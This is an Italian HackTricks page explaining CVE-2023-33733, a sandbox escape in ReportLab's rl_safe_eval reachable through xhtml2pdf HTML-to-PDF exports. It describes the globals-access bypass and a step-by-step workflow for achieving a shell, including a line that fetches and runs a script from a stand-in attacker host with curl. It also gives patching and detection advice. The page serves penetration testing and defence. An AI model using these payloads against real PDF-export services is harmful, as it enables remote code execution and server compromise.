ReportLab/xhtml2pdf [[[...]]] RCE da valutazione di espressioni (CVE-2023-33733)

Reading time: 6 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Questa pagina documenta un pratico sandbox escape e un primitivo RCE in rl_safe_eval di ReportLab usato da xhtml2pdf e altre pipeline di generazione PDF quando viene renderizzato HTML controllato dall'utente in PDF.

CVE-2023-33733 interessa le versioni di ReportLab fino e inclusa la 3.6.12. In certi contesti di attributo (per esempio color), i valori racchiusi tra triple parentesi [[[ ... ]]] vengono valutati server-side da rl_safe_eval. Costruendo un payload che pivota da un builtin in whitelist (pow) ai suoi globals di funzione Python, un attaccante può raggiungere il modulo os ed eseguire comandi.

Punti chiave

  • Trigger: inject [[[ ... ]]] in attributi valutati come all'interno del markup analizzato da ReportLab/xhtml2pdf.
  • Sandbox: rl_safe_eval sostituisce molti builtins pericolosi ma le funzioni valutate espongono ancora globals.
  • Bypass: creare una classe transiente Word per aggirare i controlli sui nomi di rl_safe_eval e accedere alla stringa "globals" evitando il filtraggio dei dunder bloccati.
  • RCE: getattr(pow, Word("globals"))["os"].system("")
  • Stabilità: Restituire un valore valido per l'attributo dopo l'esecuzione (per color, usare e 'red').

Quando testare

  • Applicazioni che espongono esportazione HTML-to-PDF (profili, fatture, report) e mostrano xhtml2pdf/ReportLab nei metadata del PDF o nei commenti della risposta HTTP.
  • exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
  • La risposta HTTP per un PDF spesso inizia con un commento generato da ReportLab

Come funziona il bypass della sandbox

  • rl_safe_eval rimuove o sostituisce molti builtins (getattr, type, pow, ...) e applica un filtro sui nomi per negare attributi che iniziano con __ o sono in una denylist.
  • Tuttavia, le funzioni "sicure" vivono in un dizionario globals accessibile come func.globals.
  • Usare type(type(1)) per recuperare la vera funzione builtin type (bypassando il wrapper di ReportLab), quindi definire una classe Word derivata da str con comportamento di confronto mutato in modo che:
  • .startswith('') → sempre False (bypass del controllo name startswith(''))
  • .eq ritorna False solo alla prima comparazione (bypass dei controlli di membership nella denylist) e True dopo (così getattr funziona)
  • .hash pari a hash(str(self))
  • Con questo, getattr(pow, Word('globals')) restituisce il dict globals della funzione pow wrappata, che include il modulo os importato. Poi: ['os'].system('').

Pattern minimo di sfruttamento (esempio in attributo) Inserire il payload dentro un attributo valutato e assicurarsi che ritorni un valore di attributo valido tramite boolean e 'red'.

exploit

  • La forma con list-comprehension permette un'unica espressione accettabile da rl_safe_eval.
  • Il trailing and 'red' restituisce un colore CSS valido così il rendering non si rompe.
  • Sostituire il comando secondo necessità; usare ping per validare l'esecuzione con tcpdump.

Workflow operativo

  1. Identificare il generatore PDF
  • Il PDF Producer mostra xhtml2pdf; la risposta HTTP contiene il commento di ReportLab.
  1. Trovare un input riflesso nel PDF (es. bio/descrizione del profilo) e forzare un'esportazione.
  2. Verificare l'esecuzione con ICMP a basso rumore
  • Run: sudo tcpdump -ni icmp
  • Payload: ... system('ping <your_ip>') ...
  • Windows spesso invia esattamente quattro echo request di default.
  1. Stabilire una shell
  • Per Windows, un approccio affidabile a due fasi evita problemi di quoting/encoding:
  • Stage 1 (download):

exploit

  • Stage 2 (esecuzione):

exploit

  • Per target Linux, è possibile un analogo two-stage con curl/wget:
  • system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

Note e suggerimenti

  • Contesti di attributo: color è un attributo noto valutato; altri attributi nel markup di ReportLab possono anch'essi valutare espressioni. Se una posizione è sanitizzata, provare altre aree renderizzate nel flusso PDF (campi diversi, stili di tabella, ecc.).
  • Quoting: mantenere i comandi compatti. I download in due fasi riducono drasticamente problemi di quoting ed escaping.
  • Affidabilità: se le esportazioni sono cacheate o messe in coda, variare leggermente il payload (es. path o query random) per evitare cache.

Mitigazioni e rilevamento

  • Aggiornare ReportLab alla 3.6.13 o successiva (CVE-2023-33733 risolto). Tracciare anche gli advisories di sicurezza nei pacchetti delle distro.
  • Non fornire HTML/markup controllato dall'utente direttamente a xhtml2pdf/ReportLab senza una sanitizzazione rigorosa. Rimuovere/negare le costruzioni di valutazione [[[...]]] e i tag vendor-specific quando l'input non è trusted.
  • Considerare la disabilitazione o l'incapsulamento completo di rl_safe_eval per input non attendibili.
  • Monitorare connessioni outbound sospette durante la generazione di PDF (es. ICMP/HTTP dai server applicativi durante l'esportazione di documenti).

References

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks